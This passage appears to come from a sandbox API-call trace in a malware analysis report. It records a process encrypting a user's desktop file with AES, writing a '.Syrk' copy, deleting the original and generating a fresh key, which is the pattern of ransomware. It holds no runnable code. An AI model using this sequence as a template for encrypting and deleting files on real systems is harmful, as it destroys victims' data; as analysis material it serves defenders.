lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\A_Xuo41AM2 4XZ.gif.Syrk", lpFilePart=0x0) returned 0x32 [0201.038] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e240) returned 1 [0201.038] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\A_Xuo41AM2 4XZ.gif.Syrk" (normalized: "c:\\users\\keecfmwgj\\desktop\\a_xuo41am2 4xz.gif.syrk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x45c [0201.041] GetFileType (hFile=0x45c) returned 0x1 [0201.041] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e23c) returned 1 [0201.041] GetFileType (hFile=0x45c) returned 0x1 [0201.041] EtwEventActivityIdControl () returned 0x0 [0201.041] CryptGenRandom (in: hProv=0x5c4cff0, dwLen=0x10, pbBuffer=0x2497b98 | out: pbBuffer=0x2497b98) returned 1 [0201.042] CryptContextAddRef (hProv=0x5c4cff0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0201.042] CryptDuplicateKey (in: hKey=0x5c68d40, pdwReserved=0x0, dwFlags=0x0, phKey=0x5a2ea08 | out: phKey=0x5a2ea08*=0x5c69080) returned 1 [0201.043] CryptContextAddRef (hProv=0x5c4cff0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0201.043] CryptSetKeyParam (hKey=0x5c69080, dwParam=0x4, pbData=0x2498ffc*=0x1, dwFlags=0x0) returned 1 [0201.043] CryptSetKeyParam (hKey=0x5c69080, dwParam=0x1, pbData=0x2498fc8, dwFlags=0x0) returned 1 [0201.043] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e608, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0201.044] EtwEventActivityIdControl () returned 0x0 [0201.044] EtwEventActivityIdControl () returned 0x0 [0201.044] EtwEventActivityIdControl () returned 0x0 [0201.045] EtwEventActivityIdControl () returned 0x0 [0201.046] ReadFile (in: hFile=0x44c, lpBuffer=0x249bc70, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x5a2ea0c, lpOverlapped=0x0 | out: lpBuffer=0x249bc70*, lpNumberOfBytesRead=0x5a2ea0c*=0x10a21, lpOverlapped=0x0) returned 1 [0201.048] CryptEncrypt (in: hKey=0x5c69080, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x24afc88*, pdwDataLen=0x5a2ea00*=0x10a20, dwBufLen=0x10a20 | out: pbData=0x24afc88*, pdwDataLen=0x5a2ea00*=0x10a20) returned 1 [0201.050] WriteFile (in: hFile=0x45c, lpBuffer=0x2497cdc*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x5a2e9e4, lpOverlapped=0x0 | out: lpBuffer=0x2497cdc*, lpNumberOfBytesWritten=0x5a2e9e4*=0x1000, lpOverlapped=0x0) returned 1 [0201.053] WriteFile (in: hFile=0x45c, lpBuffer=0x24b0c74*, nNumberOfBytesToWrite=0xfa34, lpNumberOfBytesWritten=0x5a2e9e4, lpOverlapped=0x0 | out: lpBuffer=0x24b0c74*, lpNumberOfBytesWritten=0x5a2e9e4*=0xfa34, lpOverlapped=0x0) returned 1 [0201.055] ReadFile (in: hFile=0x44c, lpBuffer=0x249bc70, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x5a2ea0c, lpOverlapped=0x0 | out: lpBuffer=0x249bc70*, lpNumberOfBytesRead=0x5a2ea0c*=0x0, lpOverlapped=0x0) returned 1 [0201.055] CryptEncrypt (in: hKey=0x5c69080, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x24c071c*, pdwDataLen=0x5a2ea60*=0x10, dwBufLen=0x10 | out: pbData=0x24c071c*, pdwDataLen=0x5a2ea60*=0x10) returned 1 [0201.055] CryptEncrypt (in: hKey=0x5c69080, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x24c0738*, pdwDataLen=0x5a2ea68*=0x0, dwBufLen=0x10 | out: pbData=0x24c0738*, pdwDataLen=0x5a2ea68*=0x10) returned 1 [0201.055] WriteFile (in: hFile=0x45c, lpBuffer=0x2497cdc*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x5a2ea38, lpOverlapped=0x0 | out: lpBuffer=0x2497cdc*, lpNumberOfBytesWritten=0x5a2ea38*=0x10, lpOverlapped=0x0) returned 1 [0201.056] CloseHandle (hObject=0x45c) returned 1 [0201.510] CloseHandle (hObject=0x44c) returned 1 [0201.511] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e608, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0201.511] EtwEventActivityIdControl () returned 0x0 [0201.511] EtwEventActivityIdControl () returned 0x0 [0201.511] EtwEventActivityIdControl () returned 0x0 [0201.521] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\A_Xuo41AM2 4XZ.gif" (normalized: "c:\\users\\keecfmwgj\\desktop\\a_xuo41am2 4xz.gif")) returned 0x20 [0201.524] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\A_Xuo41AM2 4XZ.gif", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2e [0201.524] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\A_Xuo41AM2 4XZ.gif", nBufferLength=0x2e, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\A_Xuo41AM2 4XZ.gif", lpFilePart=0x0) returned 0x2d [0201.525] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0201.525] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0201.525] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4 [0201.525] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x4, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0201.525] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0201.526] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0201.526] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x9 [0201.526] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x9, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0201.526] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj" (normalized: "c:\\users\\keecfmwgj")) returned 0x10 [0201.526] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj" (normalized: "c:\\users\\keecfmwgj")) returned 0x10 [0201.526] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x13 [0201.526] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj", nBufferLength=0x13, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj", lpFilePart=0x0) returned 0x12 [0201.527] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop" (normalized: "c:\\users\\keecfmwgj\\desktop")) returned 0x11 [0201.527] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop" (normalized: "c:\\users\\keecfmwgj\\desktop")) returned 0x11 [0201.527] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x1b [0201.527] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop", nBufferLength=0x1b, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop", lpFilePart=0x0) returned 0x1a [0201.527] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\A_Xuo41AM2 4XZ.gif" (normalized: "c:\\users\\keecfmwgj\\desktop\\a_xuo41am2 4xz.gif")) returned 0x20 [0201.527] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\A_Xuo41AM2 4XZ.gif", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2e [0201.527] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\A_Xuo41AM2 4XZ.gif", nBufferLength=0x2e, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\A_Xuo41AM2 4XZ.gif", lpFilePart=0x0) returned 0x2d [0201.531] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\A_Xuo41AM2 4XZ.gif", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2e [0201.531] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\A_Xuo41AM2 4XZ.gif", nBufferLength=0x2e, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\A_Xuo41AM2 4XZ.gif", lpFilePart=0x0) returned 0x2d [0201.531] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e73c) returned 1 [0201.532] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\A_Xuo41AM2 4XZ.gif", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2e [0201.532] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\A_Xuo41AM2 4XZ.gif", nBufferLength=0x2e, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\A_Xuo41AM2 4XZ.gif", lpFilePart=0x0) returned 0x2d [0201.532] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\A_Xuo41AM2 4XZ.gif\\*" (normalized: "c:\\users\\keecfmwgj\\desktop\\a_xuo41am2 4xz.gif\\*"), lpFindFileData=0x5a2e4ec | out: lpFindFileData=0x5a2e4ec*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0201.532] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e4ac) returned 1 [0201.533] CoTaskMemAlloc (cb=0x404) returned 0x38a6b8 [0201.533] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x10b, dwLanguageId=0x0, lpBuffer=0x38a6b8, nSize=0x200, Arguments=0x0 | out: lpBuffer="The directory name is invalid.\r\n") returned 0x20 [0201.533] CoTaskMemFree (pv=0x38a6b8) [0201.537] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\A_Xuo41AM2 4XZ.gif" (normalized: "c:\\users\\keecfmwgj\\desktop\\a_xuo41am2 4xz.gif")) returned 0x20 [0201.537] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\A_Xuo41AM2 4XZ.gif", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2e [0201.537] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\A_Xuo41AM2 4XZ.gif", nBufferLength=0x2e, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\A_Xuo41AM2 4XZ.gif", lpFilePart=0x0) returned 0x2d [0201.537] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e404) returned 1 [0201.537] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\A_Xuo41AM2 4XZ.gif" (normalized: "c:\\users\\keecfmwgj\\desktop\\a_xuo41am2 4xz.gif"), fInfoLevelId=0x0, lpFileInformation=0x24d0508 | out: lpFileInformation=0x24d0508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f24c2e0, ftCreationTime.dwHighDateTime=0x1d994da, ftLastAccessTime.dwLowDateTime=0x78dab40, ftLastAccessTime.dwHighDateTime=0x1d99bae, ftLastWriteTime.dwLowDateTime=0x78dab40, ftLastWriteTime.dwHighDateTime=0x1d99bae, nFileSizeHigh=0x0, nFileSizeLow=0x10a21)) returned 1 [0201.538] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e400) returned 1 [0201.538] DeleteFileW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\A_Xuo41AM2 4XZ.gif" (normalized: "c:\\users\\keecfmwgj\\desktop\\a_xuo41am2 4xz.gif")) returned 1 [0201.544] EtwEventActivityIdControl () returned 0x0 [0201.545] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e608, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0201.545] EtwEventActivityIdControl () returned 0x0 [0201.545] EtwEventActivityIdControl () returned 0x0 [0201.545] EtwEventActivityIdControl () returned 0x0 [0201.711] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\A_Xuo41AM2 4XZ.gif.Syrk" (normalized: "c:\\users\\keecfmwgj\\desktop\\a_xuo41am2 4xz.gif.syrk")) returned 0x20 [0201.712] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\A_Xuo41AM2 4XZ.gif.Syrk" (normalized: "c:\\users\\keecfmwgj\\desktop\\a_xuo41am2 4xz.gif.syrk")) returned 0x20 [0201.712] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\A_Xuo41AM2 4XZ.gif.Syrk", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x33 [0201.712] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\A_Xuo41AM2 4XZ.gif.Syrk", nBufferLength=0x33, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\A_Xuo41AM2 4XZ.gif.Syrk", lpFilePart=0x0) returned 0x32 [0201.713] EtwEventActivityIdControl () returned 0x0 [0201.713] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e660, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0201.714] EtwEventActivityIdControl () returned 0x0 [0201.714] EtwEventActivityIdControl () returned 0x0 [0201.714] EtwEventActivityIdControl () returned 0x0 [0201.744] EtwEventActivityIdControl () returned 0x0 [0201.744] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e660, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0201.744] EtwEventActivityIdControl () returned 0x0 [0201.744] EtwEventActivityIdControl () returned 0x0 [0201.744] EtwEventActivityIdControl () returned 0x0 [0201.749] EtwEventActivityIdControl () returned 0x0 [0201.749] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e660, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0201.750] EtwEventActivityIdControl () returned 0x0 [0201.750] EtwEventActivityIdControl () returned 0x0 [0201.750] EtwEventActivityIdControl () returned 0x0 [0201.755] EtwEventActivityIdControl () returned 0x0 [0201.756] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e660, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0201.756] EtwEventActivityIdControl () returned 0x0 [0201.756] EtwEventActivityIdControl () returned 0x0 [0201.756] EtwEventActivityIdControl () returned 0x0 [0201.762] EtwEventActivityIdControl () returned 0x0 [0201.762] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e660, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0201.763] EtwEventActivityIdControl () returned 0x0 [0201.763] EtwEventActivityIdControl () returned 0x0 [0201.763] EtwEventActivityIdControl () returned 0x0 [0201.931] EtwEventActivityIdControl () returned 0x0 [0201.937] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2de54) returned 1 [0201.937] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\A_Xuo41AM2 4XZ.gif.Syrk" (normalized: "c:\\users\\keecfmwgj\\desktop\\a_xuo41am2 4xz.gif.syrk"), fInfoLevelId=0x0, lpFileInformation=0x24e12a8 | out: lpFileInformation=0x24e12a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf45d51c0, ftCreationTime.dwHighDateTime=0x1da385f, ftLastAccessTime.dwLowDateTime=0xf45d51c0, ftLastAccessTime.dwHighDateTime=0x1da385f, ftLastWriteTime.dwLowDateTime=0xf45fb320, ftLastWriteTime.dwHighDateTime=0x1da385f, nFileSizeHigh=0x0, nFileSizeLow=0x10a44)) returned 1 [0201.937] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2de50) returned 1 [0201.940] GetConsoleOutputCP () returned 0x1b5 [0201.941] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e57c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e57c) returned 0 [0201.941] GetConsoleOutputCP () returned 0x1b5 [0201.941] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e604, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e604) returned 0 [0201.941] GetConsoleOutputCP () returned 0x1b5 [0201.941] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e5e0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e5e0) returned 0 [0201.941] GetConsoleOutputCP () returned 0x1b5 [0201.941] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e5e0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e5e0) returned 0 [0201.941] GetConsoleOutputCP () returned 0x1b5 [0201.942] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e57c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e57c) returned 0 [0201.942] GetConsoleOutputCP () returned 0x1b5 [0201.942] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e604, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e604) returned 0 [0201.942] GetConsoleOutputCP () returned 0x1b5 [0201.942] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e5e0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e5e0) returned 0 [0201.942] GetConsoleOutputCP () returned 0x1b5 [0201.942] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e5e0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e5e0) returned 0 [0201.942] GetConsoleOutputCP () returned 0x1b5 [0201.943] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e57c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e57c) returned 0 [0201.943] GetConsoleOutputCP () returned 0x1b5 [0201.943] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e604, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e604) returned 0 [0201.943] GetConsoleOutputCP () returned 0x1b5 [0201.943] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e5e0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e5e0) returned 0 [0201.943] GetConsoleOutputCP () returned 0x1b5 [0201.943] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e5e0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e5e0) returned 0 [0201.943] GetConsoleOutputCP () returned 0x1b5 [0201.943] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e57c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e57c) returned 0 [0201.943] GetConsoleOutputCP () returned 0x1b5 [0201.944] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e604, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e604) returned 0 [0201.944] GetConsoleOutputCP () returned 0x1b5 [0201.944] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e5e0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e5e0) returned 0 [0201.944] GetConsoleOutputCP () returned 0x1b5 [0201.944] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e5e0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e5e0) returned 0 [0201.944] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e6cc | out: lpConsoleScreenBufferInfo=0x5a2e6cc) returned 1 [0201.945] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e6c4 | out: lpMode=0x5a2e6c4) returned 1 [0201.945] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x24ff9e8*, nNumberOfCharsToWrite=0x4f, lpNumberOfCharsWritten=0x5a2e6b8, lpReserved=0x0 | out: lpBuffer=0x24ff9e8*, lpNumberOfCharsWritten=0x5a2e6b8*=0x4f) returned 1 [0201.946] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e6c4 | out: lpMode=0x5a2e6c4) returned 1 [0201.947] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x22fe2f4*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x5a2e6b8, lpReserved=0x0 | out: lpBuffer=0x22fe2f4*, lpNumberOfCharsWritten=0x5a2e6b8*=0x2) returned 1 [0201.949] EtwEventActivityIdControl () returned 0x0 [0201.949] EtwEventActivityIdControl () returned 0x0 [0201.951] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2ebac, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0201.952] EtwEventActivityIdControl () returned 0x0 [0201.952] EtwEventActivityIdControl () returned 0x0 [0201.952] EtwEventActivityIdControl () returned 0x0 [0201.954] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e804, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0201.954] EtwEventActivityIdControl () returned 0x0 [0201.954] EtwEventActivityIdControl () returned 0x0 [0201.955] EtwEventActivityIdControl () returned 0x0 [0201.957] CryptAcquireContextW (in: phProv=0x5a2e400, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x5a2e400*=0x5c4d100) returned 1 [0201.959] CryptGenKey (in: hProv=0x5c4d100, Algid=0x6610, dwFlags=0x1, phKey=0x5a2e840 | out: phKey=0x5a2e840*=0x5c69240) returned 1 [0201.959] CryptContextAddRef (hProv=0x5c4d100, pdwReserved=0x0, dwFlags=0x0) returned 1 [0201.959] CryptExportKey (in: hKey=0x5c69240, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x0, pdwDataLen=0x5a2e82c | out: pbData=0x0*, pdwDataLen=0x5a2e82c*=0x2c) returned 1 [0201.959] CryptExportKey (in: hKey=0x5c69240, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x25076d4, pdwDataLen=0x5a2e82c | out: pbData=0x25076d4*, pdwDataLen=0x5a2e82c*=0x2c) returned 1 [0201.960] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e3f8, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0201.960] EtwEventActivityIdControl () returned 0x0 [0201.960] EtwEventActivityIdControl () returned 0x0 [0201.960] EtwEventActivityIdControl () returned 0x0 [0201.961] SysStringLen (param_1="") returned 0x8 [0201.961] SysStringLen (param_1="E") returned 0x8 [0201.962] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0201.962] SysStringLen (param_1="晫\꫟䕟﻾饞∔) returned 0x8 [0201.962] SysStringLen (param_1="晫\꫟䕟﻾饞∔) returned 0x8 [0201.962] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0201.962] SysStringLen (param_1="EL") returned 0x8 [0201.962] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0201.962] SysStringLen (param_1="瘾㺻ﯥꑵ᳤쏾ᅌꊸ") returned 0x8 [0201.962] SysStringLen (param_1="瘾㺻ﯥꑵ᳤쏾ᅌꊸ") returned 0x8 [0201.962] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0201.962] SysStringLen (param_1="ELY") returned 0x8 [0201.962] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0201.962] SysStringLen (param_1="诂䆆켸\뗛㚪∧) returned 0x8 [0201.962] SysStringLen (param_1="诂䆆켸\뗛㚪∧) returned 0x8 [0201.963] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0201.963] SysStringLen (param_1="ELYV") returned 0x8 [0201.963] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0201.963] SysStringLen (param_1="䵤뿤뷾뗧꭮륹魽ꂨ") returned 0x8 [0201.963] SysStringLen (param_1="䵤뿤뷾뗧꭮륹魽ꂨ") returned 0x8 [0201.963] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0201.963] SysStringLen (param_1="ELYVB") returned 0x8 [0201.963] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0201.963] SysStringLen (param_1="즉˃∾䢖滻㗑꛷쀮") returned 0x8 [0201.963] SysStringLen (param_1="즉˃∾䢖滻㗑꛷쀮") returned 0x8 [0201.963] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0201.963] SysStringLen (param_1="ELYVBT") returned 0x8 [0201.963] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0201.964] SysStringLen (param_1="䙉爡ꍰ䍌䩲⼱̟") returned 0x8 [0201.964] SysStringLen (param_1="䙉爡ꍰ䍌䩲⼱̟") returned 0x8 [0201.964] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0201.964] SysStringLen (param_1="ELYVBTs") returned 0x8 [0201.964] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0201.964] SysStringLen (param_1="⍥晳㦯趭꿢⸃괅") returned 0x8 [0201.964] SysStringLen (param_1="⍥晳㦯趭꿢⸃괅") returned 0x8 [0201.964] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0201.964] SysStringLen (param_1="ELYVBTsw") returned 0x8 [0201.964] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0201.964] SysStringLen (param_1="쳗᏶柝ᴃᲟⰛ뚘") returned 0x8 [0201.965] SysStringLen (param_1="쳗᏶柝ᴃᲟⰛ뚘") returned 0x8 [0201.965] SysStringLen (param_1="쳗᏶柝ᴃᲟⰛ뚘") returned 0x8 [0201.965] SysStringLen (param_1="쳗᏶柝ᴃᲟⰛ뚘") returned 0x10 [0201.965] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0201.965] SysStringLen (param_1="ELYVBTswN⭣Ⴔꟍ棚ꫠ彨箣") returned 0x10 [0201.965] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 